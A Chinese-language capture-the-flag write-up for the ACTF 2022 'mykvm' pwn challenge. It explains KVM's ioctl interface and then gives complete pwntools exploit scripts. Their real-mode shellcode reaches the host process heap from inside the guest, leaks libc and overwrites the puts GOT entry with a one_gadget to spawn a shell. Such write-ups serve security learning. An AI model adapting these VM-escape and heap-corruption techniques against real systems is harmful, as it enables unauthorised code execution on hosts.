目标进程会读取用户输入并送入到初始化状态非常纯粹(intel 实模式)的kvm虚拟机中运行,所以可以理解为用户输入shellcode送入kvm运行。漏洞点为,kvm映射的宿主进程内存空间过大,导致可以在kvm虚拟机中访问到宿主进程的堆空间。因此最终通过shellcode读写宿主进程的堆完成利用。需要注意的是,处于实模式下的shellcode只有1M的寻址空间(20根地址线),因此应该使用shellcode进入到保护模式下,完成本题。但由于随机化影响,存在恰巧堆空间与1M的寻址空间有交集的可能,因此我没有进入保护模式,而是采用爆破的手段。当恰巧遇到:堆在1M可寻址范围内时,在实模式下直接对堆进行读写,完成利用。
附件:mykvm.zip
kvm基础
之前每次看qemu启动参数附加-enable-kvm时都很害怕,不知道是个什么玩意,总是报错,所以每次都把这个参数删掉,倒也不耽误正常做题。之前听有人说kvm有图形界面,就想知道kvm这玩意单独咋用,这次正视一下:
通读下来大概理解为:
- kvm的实现在linux内核中,用户态使用内核提供/dev/kvm设备节点使用kvm功能
- kvm只能模拟CPU和内存,不支持模拟IO
- 所以如果要运行一个完整的虚拟机,带界面,IO的,不能单独使用kvm,必须和qemu一起
- qemu可以单独运行虚拟机,也可以和kvm合作一起运行一个虚拟机
- 在qemu开启了-enable-kvm时,可以将guest部分代码通过/dev/kvm让内核中的kvm运行
- 那个如同vmware的图形界面的软件是virt-manager,底层还是调用kvm+qemu
那kvm到底怎么用呢?
kvm环境
因为一般的做题环境都是vmware里的ubuntu,要支持kvm需物理机支持并且开启vmware中的Intel VT-x加速选项:
但经过测试,在我的环境下,mac+vmware+ubuntu 16.04/18.04下kvm就是开不开,ubuntu20.04可以使用kvm,而题目给的环境是16.04的docker。所以只能使用ubuntu20.04在题目docker里调试。docker build时会有一个诡异的错误,看起来是没有dns:
$ docker build -t mykvm -f Dockerfile .
Sending build context to Docker daemon 729.1kB
Step 1/15 : FROM ubuntu:16.04
---> b6f507652425
Step 2/15 : RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && apt-get update && apt-get -y dist-upgrat
---> Running in d1585814fe74
Err:1 http://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial InRelease
Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'
Err:2 http://security.ubuntu.com/ubuntu xenial-security InRelease
Temporary failure resolving 'security.ubuntu.com'
Err:3 http://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial-updates InRelease
Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'
Err:4 http://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial-backports InRelease
Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'
Reading package lists...
W: Failed to fetch http://mirrors.tuna.tsinghua.edu.cn/ubuntu/dists/xenial/InRelease Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'
W: Failed to fetch http://mirrors.tuna.tsinghua.edu.cn/ubuntu/dists/xenial-updates/InRelease Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'
W: Failed to fetch http://mirrors.tuna.tsinghua.edu.cn/ubuntu/dists/xenial-backports/InRelease Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'
W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/xenial-security/InRelease Temporary failure resolving 'security.ubuntu.com'
W: Some index files failed to download. They have been ignored, or old ones used instead.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Reading package lists...
Building dependency tree...
Reading state information...
E: Unable to locate package lib32z1
E: Unable to locate package xinetd
E: Unable to locate package gdb
E: Unable to locate package vim
E: Unable to locate package python
E: Unable to locate package git
解决方案也很搞笑,重启:
$ service docker restart
然后即可编译启动,一定要后台启动才能跟远程堆环境保持一致!另外还要加--privileged
参数以便在docker内访问kvm设备(是不是有点其他的可能…)
$ docker build -t mykvm -f Dockerfile .
$ docker container run --privileged -p 1234:1234 -p 8000:8888 -d mykvm
ac3ea5f6c14bcca8c8b511426f64c077305824c7fce4d3762b55de27c9a17bf7
然后在外部发起一个连接,启动题目进程后,即可进入docker使用gdbserver挂调试器,然后外部连入调试即可:
$ docker exec -it ac3ea5f6c14bcca8c8b511 /bin/bash
root@ac3ea5f6c14b:/home/ctf# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 36 19 0 12:57 ? 00:00:00 mykvm
root@ac3ea5f6c14b:/home/ctf# gdbserver :1234 --attach 36
Attached; pid = 36
Listening on port 1234
逆向处理
由于kvm本身是linux的一部分,所以其实现和接口都是开源的,用户态程序主要就是使用了以下两个头文件调用kvm接口:
$ find /usr/include/ -name "kvm.h"
/usr/include/x86_64-linux-gnu/asm/kvm.h
/usr/include/linux/kvm.h
所以参考这两个头文件基本可以完整的恢复用户态使用kvm的具体步骤,主要恢复了:
- ioctl时的cmd常量:以便理解如何控制的/dev/kvm设备
- 相关结构体的符号:以便理解过程中使用的数据
恢复常量
识别ioctl的常量可以直接对着头文件猜,也可以把头文件里的可以常量打印出来,网上找了一个示例程序:
#include <stdio.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <linux/kvm.h>
int main(){
int dev,state,cnt;
dev=open("/dev/kvm",O_RDWR|O_NDELAY);
cnt=ioctl(dev,KVM_GET_API_VERSION,0);
printf ("----KVM API version is--%d---\n",cnt);
cnt=ioctl(dev,KVM_CHECK_EXTENSION,KVM_CAP_MAX_VCPUS);
printf ("----KVM supporting guest MAX_VCPUS is %d---\n",cnt);
printf("[+] KVM_CHECK_EXTENSION : %x \n",KVM_CHECK_EXTENSION);
printf("[+] KVM_CAP_MAX_VCPUS : %x \n",KVM_CAP_MAX_VCPUS);
printf("[+] KVM_SET_REGS : %x \n",KVM_SET_REGS);
printf("[+] KVM_SET_SREGS : %x \n",KVM_SET_SREGS);
printf("[+] KVM_GET_SREGS : %x \n",KVM_GET_SREGS);
printf("[+] KVM_GET_API_VERSION : %x \n",KVM_GET_API_VERSION);
return 0;
}
$ ./test
----KVM API version is--12---
----KVM supporting guest MAX_VCPUS is 288---
[+] KVM_CHECK_EXTENSION : ae03
[+] KVM_CAP_MAX_VCPUS : 42
[+] KVM_SET_REGS : 4090ae82
[+] KVM_SET_SREGS : 4138ae84
[+] KVM_GET_SREGS : 8138ae83
[+] KVM_GET_API_VERSION : ae00
恢复结构体
参考一道有符号的题目:Confidence2020 CTF KVM,可识别出一些数据为结构体,找到头文件中的相关定义,给他摘出来。
# define __u64 unsigned long long
# define __u32 unsigned int
# define __u16 unsigned short int
# define __u8 unsigned char
struct kvm_userspace_memory_region {
__u32 slot;
__u32 flags;
__u64 guest_phys_addr;
__u64 memory_size; /* bytes */
__u64 userspace_addr; /* start of the userspace allocated memory */
};
struct kvm_segment {
__u64 base;
__u32 limit;
__u16 selector;
__u8 type;
__u8 present, dpl, db, s, l, g, avl;
__u8 unusable;
__u8 padding;
};
struct kvm_dtable {
__u64 base;
__u16 limit;
__u16 padding[3];
};
#define KVM_NR_INTERRUPTS 256
struct kvm_sregs {
/* out (KVM_GET_SREGS) / in (KVM_SET_SREGS) */
struct kvm_segment cs, ds, es, fs, gs, ss;
struct kvm_segment tr, ldt;
struct kvm_dtable gdt, idt;
__u64 cr0, cr2, cr3, cr4, cr8;
__u64 efer;
__u64 apic_base;
__u64 interrupt_bitmap[(KVM_NR_INTERRUPTS + 63) / 64];
};
struct kvm_regs {
/* out (KVM_GET_REGS) / in (KVM_SET_REGS) */
__u64 rax, rbx, rcx, rdx;
__u64 rsi, rdi, rsp, rbp;
__u64 r8, r9, r10, r11;
__u64 r12, r13, r14, r15;
__u64 rip, rflags;
};
然后可以导入到ida中,然后设置相关变量的类型为目标结构体即可:
漏洞利用
漏洞很明显,基本与Confidence2020 CTF KVM一致,就是映射内存范围过大,导致guest代码能访问到宿主机的bss段中的其他变量。通过题目中的寄存器设置,如下,可以看出来真的是非常纯粹的初始化,因此此时的虚拟出来的intel CPU处于实模式,因此应该使用16位的shellcode:
ioctl(v5, 0x8090AE81uLL, ®s); // KVM_GET_REGS
regs.rip = 0LL;
regs.rsp = 0x4000LL;
regs.rflags = 2LL;
ioctl(v5, 0x4090AE82uLL, ®s); // KVM_SET_REGS
ioctl(v5, 0x8138AE83uLL, &sregs); // KVM_GET_SREGS
sregs.cs.selector = 0;
sregs.cs.base = 0LL;
ioctl(v5, 0x4138AE84uLL, &sregs); // KVM_SET_SREGS
还有就是由于运行在kvm中的shellcode无法和攻击者直接远程交互,所以无法将内存信息直接泄露给攻击者,所以只能在shellcode中自行计算并写入到控制流劫持的位置。shellcode过程大致如下:
- 在最开始,输入name,passwd时,使用堆风水将未来第三次malloc回来的堆块扔到fastbin(0x20)里
- 读bss的dest泄露堆地址
- 由于没进入保护模式,访存只有1M的空间,所以每次爆破堆地址是否在1M范围里
- 爆破的具体方法为:检查不过时,主动做一个除零,引发的异常与正常hlt结束打印不同
- 爆破后,通过读写堆块泄露libc,将one_gadget写入fastbin(0x20)+8
- 将puts的got-8写入dest,在memcpy时完成将one_gadget写入puts的got表
- one_gadget需要栈上有0,在shellcode前之前填充0
- 最终在puts调用时触发one_gadge拿到shell
另外由于readline对于堆操作的比较混乱,并且与docker启动环境相关,所以务必使用docker后台启动,才能与远程环境保持一致。保持环境一致后,在操作一致的情况下,堆块的布局也相同,才能完成通过堆起始地址加上固定偏移完成对libc的泄露以及对fastbin的写入。简化的exp如下:
from pwn import *
context(log_level='debug',arch='i386')
io = remote("20.247.110.192",10888)
shellcode = asm('''
.code16gcc
jmp main
.rept 0x50
.byte 0x00
.endr
main:
// save heap start addr to stack
mov eax, 0x7100
mov ebx, [eax]
sub ebx, 0x603000
push ebx
// assert heap can access (1M, reserve 64k)
cmp ebx, 0xf0000
jc next
mov ebx, 0
div eax, ebx # bug
next:
// leak libc and calc one_gadgte (ecx:edx)
mov eax,[esp]
add eax, 0x1b48
mov ebx, eax
shr eax, 16
shl eax, 12
mov ds, eax
mov edx, dword ptr ds:[bx]
add bx, 4
mov ecx, dword ptr ds:[bx]
sub edx, 0x3c51a8
add edx, 0x4527a
// write one_gadget to fastbin(0x20) + 8
mov eax, [esp]
add eax, 0x27e8
mov ebx, eax
shr eax, 16
shl eax, 12
mov ds, eax
mov ds:[bx], edx
add bx, 4
mov ds:[bx], ecx
// write puts got - 8 to dest
mov ebx, 0
mov ds, ebx
mov ebx, 0x602020
mov ds:[0x7100], ebx
hlt
''')
while 1:
io.sendlineafter(b"size:",str(len(shellcode)))
io.sendafter(b"code:",shellcode)
io.sendlineafter(b"name:",b'b'*20)
io.sendlineafter(b"passwd:",b'a'*20)
io.recvline()
a = io.recv(0x1b)
if b"mykvm" not in a:
print("[+] yes!!!")
io.send(b"\n")
break
io.close()
io = remote("20.247.110.192",10888)
io.interactive()
16位的实模式的shellcode还是有一些需要注意的:
- 3.1 实模式
- GCC汇编源码中的.rept关键字
- How to tell GCC to generate 16-bit code for real mode
- Linux 桌面玩家指南:08. 使用 GCC 和 GNU Binutils 编写能在 x86 实模式运行的 16 位代码
- x86汇编指令详解
- 汇编语言条件跳转指令汇总
最后的flag可以看出,出题人应当是想让我们写一段实模式进入保护模式的汇编之后,再稳定的完成利用:
ACTF{Y0u_c4n_D0_m0r3_th1nGs_Wh3n_sw1Tch_Real_m0d3_t0_pr0t3ct_M0de!}
总结
其他WP:
- 官方WP:https://github.com/team-s2/ACTF-2022/blob/main/pwn/mykvm/exploits/exp.py
- 影二つ的博客:ACTF Pwn Writeup
通过本题,可以明白kvm具体咋用了:
- 用户程序可以使用ioctl与kvm交互,将虚拟机代码在本进程中内存地址设置给kvm
- kvm在运行时,宿主进程调用ioctl会阻塞,运行停机或异常时会阻塞返回
- 在kvm停止运行时,用户程序可以使用ioctl与kvm交互,获得或者设置kvm中的寄存器
所以kvm确实是一个具体的虚拟机软件,用户态程序只需要使用open和ioctl,操控/dev/kvm设备文件,即可运行guest代码,不过只有CPU和内存可以模拟。比赛时的exp比较乱套,python2的,但也真实的记录一下:
from pwn import *
context(log_level='debug',arch='i386')
#io = remote("127.0.0.1",8000)
io = remote("20.247.110.192",10888)
sla = lambda delim,data :io.sendlineafter(delim, data)
sa = lambda delim,data :io.sendafter(delim, data)
# 0x1b68 libc pianyi base
# 0x3c4b78 main arean
# 0xf1247 gadget
# top chunks
shellcode = asm('''
.code16gcc
jmp main
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
main:
mov eax,0x7100 # dest
mov ebx,[eax]
sub ebx,0x603000
push ebx # push stack: heap start addr (virt)
cmp ebx,0xe2fff
jc next
mov ebx,0
div eax,ebx # bug
next:
mov edx, 0xdeadbeef
pop eax # get one gadget
push eax
add eax, 0x1b48
mov ebx,eax
shr eax,16
shl eax,12
mov ds,eax
mov edx, dword ptr ds:[bx]
add bx, 4
mov ecx, dword ptr ds:[bx]
sub edx, 0x3c51a8
add edx, 0xf1247 # get one gadget over
pop eax # write fastbin
push eax
add eax,0x27e8
mov ebx,eax
shr eax,16
shl eax,12
mov ds,eax
mov ds:[bx],edx
add bx,4
mov ds:[bx],ecx
mov eax,0x602020 # puts got - 1; write dest
mov ebx,0
mov ds,ebx
mov ds:[0x7100],eax # dest in virt
mov eax,0x602020 # puts got - 1
mov ebx,0
mov ds,ebx
mov ds:[0x7100],eax # dest in virt
hlt
''')
c = 1
while c:
try:
sla("code size:",str(len(shellcode)))
sa("your code:",shellcode)
sla("guest name: ",'b'*20)
sla("guest passwd: ",'a'*20)
io.recvline()
a = io.recv(0x1b)
if "mykvm" not in a:
c = 0
print("[+] yes!!!")
raw_input()
io.sendline("")
#sla("host name: ",'')
except:
io.close()
io = remote("20.247.110.192",10888)
#io = remote("127.0.0.1",8000)
io.interactive()